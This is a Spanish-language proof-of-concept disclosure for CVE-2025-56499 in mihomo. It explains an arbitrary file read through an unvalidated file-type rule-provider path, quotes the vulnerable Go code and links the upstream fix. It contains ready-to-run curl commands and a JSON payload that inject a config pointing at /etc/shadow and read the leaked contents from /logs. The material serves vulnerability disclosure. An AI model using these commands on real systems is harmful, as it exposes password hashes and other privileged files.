
Exploit de prueba de concepto para CVE-2025-56499 que demuestra la lectura arbitraria de archivos mediante la falta de validación de ruta en el tipo de archivo rule-provider de mihomo, con exfiltración de datos basada en registros.
Lectura arbitraria de archivos mediante falta de validación de ruta en el proveedor de reglas local
Corrección ascendente: https://github.com/MetaCubeX/mihomo/pull/2177
Versiones afectadas: mihomo <= v1.19.11
Al analizar la configuración de rule-providers, la rama type = "file" no valida la ruta proporcionada. Un atacante autenticado que controle schema.Path puede apuntar el proveedor a cualquier archivo local legible. Debido a que la mayoría de los archivos arbitrarios no cumplen con el formato de regla esperado, los errores de análisis (incluyendo fragmentos sustanciales del contenido del archivo) se emiten en los registros en memoria y se exponen a través de la API /logs. Dado que mihomo a menudo se ejecuta con privilegios elevados (root/administrador), esto resulta en una divulgación de información de alto impacto.
rules/provider/parse.go, el caso schema.Type == "file" solo invoca C.Path.Resolve() y nunca aplica C.Path.IsSafePath() o cualquier restricción de lista blanca/sandbox equivalente.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
Deficiencias de la rama de archivo:
/logs para capturar la salida de errores del analizador./configs que incluye una entrada maliciosa de rule-providers con type = file y la ruta del archivo objetivo.Escuchar registros (ejemplo token Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
Inyectar configuración para leer /etc/shadow:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
Carga útil sin escapar:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
Resultado: Las líneas de error de análisis en /logs contienen fragmentos de /etc/shadow (captura de pantalla de ejemplo):
